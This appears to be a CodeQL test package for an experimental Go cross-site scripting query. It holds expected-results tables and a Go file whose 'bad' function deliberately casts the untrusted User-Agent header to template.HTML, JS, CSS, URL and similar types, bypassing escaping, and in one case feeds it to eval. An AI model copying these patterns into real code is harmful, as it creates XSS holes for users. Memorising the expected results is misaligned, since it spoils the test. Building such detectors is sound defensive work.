| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src |
| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted |
#select
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | converted |

View File

@@ -0,0 +1,93 @@
package main
import (
"html/template"
"net/http"
"os"
)
func main() {}
func checkError(err error) {
if err != nil {
panic(err)
}
}
type HTMLAlias = template.HTML
// bad is an example of a bad implementation
func bad(req *http.Request) {
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)
{
{
var a = template.HTML(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, a))
}
{
{
var a template.HTML
a = template.HTML(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, a))
}
{
var a HTMLAlias
a = HTMLAlias(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, a))
}
}
}
{
var c = template.HTMLAttr(req.UserAgent())
checkError(tmplTag.Execute(os.Stdout, c))
}
{
var d = template.JS(req.UserAgent())
checkError(tmplScript.Execute(os.Stdout, d))
}
{
var e = template.JSStr(req.UserAgent())
checkError(tmplScript.Execute(os.Stdout, e))
}
{
var b = template.CSS(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, b))
}
{
var f = template.Srcset(req.UserAgent())
checkError(tmplSrcset.Execute(os.Stdout, f))
}
{
var g = template.URL(req.UserAgent())
checkError(tmpl.Execute(os.Stdout, g))
}
}
// good is an example of a good implementation
func good(req *http.Request) {
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
{ // This will be escaped, so it shoud NOT be caught:
var escaped = req.UserAgent()
checkError(tmpl.Execute(os.Stdout, escaped))
}
{
// The converted source value does NOT flow to tmpl.Exec,
// so this should NOT be caught.
src := req.UserAgent()
converted := template.HTML(src)
_ = converted
checkError(tmpl.Execute(os.Stdout, src))
}
{
// The untrusted input is sanitized before use.
tmpl, _ := template.New("test").Parse(`<div>Your user agent is {{.}}</div>`)
src := req.UserAgent()
converted := template.HTML("<b>" + template.HTMLEscapeString(src) + "</b>")
checkError(tmpl.Execute(os.Stdout, converted))
}
}

View File

@@ -0,0 +1 @@
experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql